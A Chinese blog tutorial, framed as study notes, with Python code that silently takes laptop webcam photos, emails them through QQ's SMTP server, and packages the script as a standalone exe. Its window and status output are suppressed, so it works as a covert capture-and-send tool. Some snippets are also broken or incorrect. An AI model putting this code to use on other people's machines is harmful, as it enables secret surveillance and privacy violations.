python实现调用笔记本电脑自带摄像头并使用邮箱发送

这篇博客介绍了如何使用Python结合OpenCV和smtplib库调用笔记本电脑的摄像头拍照,并将拍摄的图片通过电子邮件发送。首先,创建一个目录来存储图片,然后打开摄像头并翻转图像,保存图片。接着,配置邮件发送的相关信息,如收件人、发件人和授权码,创建邮件正文和附件,最后通过SMTP服务器发送邮件。整个过程将图片保存和邮件发送结合在一起,可以灵活调整图片数量和间隔时间。

python实现调用笔记本电脑自带摄像头并使用邮箱发送

申明:资料来源于网络及书本,通过理解、实践、整理成学习笔记,仅供学习。

使用的库

import cv2
import time
import os
import smtplib

安装命令

 pip install opencv-python  
 pip install smtplib

调用摄像头

先创建目录用来存放图片

path = 'D:\cs\cs\cs'
isExists = os.path.exists(path)
if not isExists:
    os.makedirs(path)
    # print(path + '创建成功')
else:
    pass
    # print(目录已存在)
    
 # 建立txt测试代码 
with open("D:\cs\cs\cs\\test.txt", "w") as f:
    f.write("这只是个测试")

调用笔记本自带的摄像头

笔记本自带的摄像头是0,想调用其它摄像头可改成1,2等

cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)  # 打开摄像头
ret, frame = cap.read()
frame = cv2.flip(frame, 1)  # 将图像左右调换回来正常显示

# cv2.imshow("capture", frame)  # 摄像头窗口

test = str(time.time()) + ".png" #用时间命名
tu.append(test)
cv2.imwrite("D:\cs\cs\cs\\" + test, frame)  # 保存路径
cap.release()

发送邮件

打开 邮箱权限查看授权码
QQ邮箱中设置-账户
以下代码

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
# 邮箱收件人和发件人
receiver = "*****@163.com"  #接收用邮箱
sender = "******@qq.com" #发送用邮箱
pwd = "*****" #邮箱授权码

msg = MIMEMultipart()
msg["Subject"] = "测试"  # 邮件的主题
msg["From"] = sender
msg["To"] = receiver

part = MIMEText("这是照片")  # 邮件的正文
msg.attach(part)
part = MIMEApplication(open(r"d:\cs\cs\cs\1619515774.87993881.png", 'rb').read()) # 'apple.jpg'和该.py文件在同一个文件夹下
part.add_header('Content-Disposition', 'attachment', filename="text.jpg")
msg.attach(part)

try:
    s = smtplib.SMTP("smtp.qq.com", timeout=30)  # 连接smtp邮件服务器,端口默认是25
    s.ehlo()
    s.starttls()
    s.login(sender, pwd)  # 登陆服务器
    s.sendmail(sender, receiver, msg.as_string())  # 发送邮件
    s.close()
    print('邮件发送成功!')
except smtplib.SMTPException:
  

总结

将两个代码放在一起
其中的图片数以及读取间隔时间可以自行修改为最合适效果

#! /usr/bin/env python
# coding=utf-8
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
import cv2
import time
import os



# 邮箱收件人和发件人
receiver = "*****@163.com"
sender = "****@qq.com"
pwd = "*****"

msg = MIMEMultipart()
msg["Subject"] = "测试"  # 邮件的主题
msg["From"] = sender
msg["To"] = receiver

part = MIMEText("这是照片")  # 邮件的正文
msg.attach(part)

# 创建 d\cs\cs\cs目录
tu = []  # 存储图片名字
path = 'D:\cs\cs\cs'
isExists = os.path.exists(path)
if not isExists:
    os.makedirs(path)
    # print(path + '创建成功')

else:
    pass
    # print(path + '目录已存在')

with open("D:\cs\cs\cs\\test.txt", "w") as f:
    f.write("这只是个测试")

cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)  # 打开摄像头

# 获取图片
for i in range(3):
    ret, frame = cap.read()
    frame = cv2.flip(frame, 1)  # 将图像左右调换回来正常显示

    # cv2.imshow("capture", frame)  # 摄像头窗口

    test = str(time.time()) + ".png"
    tu.append(test)
    cv2.imwrite("D:\cs\cs\cs\\" + test, frame)  # 保存路径
    # break
    time.sleep(1)
    # jpg类型附件
    part = MIMEApplication(open("D:\cs\cs\cs\\" + test, 'rb').read())
    part.add_header('Content-Disposition', 'attachment', filename=test + ".jpg")
    msg.attach(part)
try:
    s = smtplib.SMTP("smtp.qq.com", timeout=30)  # 连接smtp邮件服务器,端口默认是25
    s.ehlo()
    s.starttls()
    s.login(sender, pwd)  # 登陆服务器
    s.sendmail(sender, receiver, msg.as_string())  # 发送邮件
    s.close()
    # print('邮件发送成功!')
except smtplib.SMTPException:
    pass
    # print('邮件发送失败!')

cap.release()

为实际效果

打包成exe文件

使用库pyinstaller

下载命令

pip install pyinstaller

启动命令行窗口(可以按win+r 输入cmd)
使用cd命令进入 py文件所在目录

pyinstaller -F cs.py  #将cs改为文件名

使用以上代码,最后可以在该目录dist文件夹找到exe程序

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值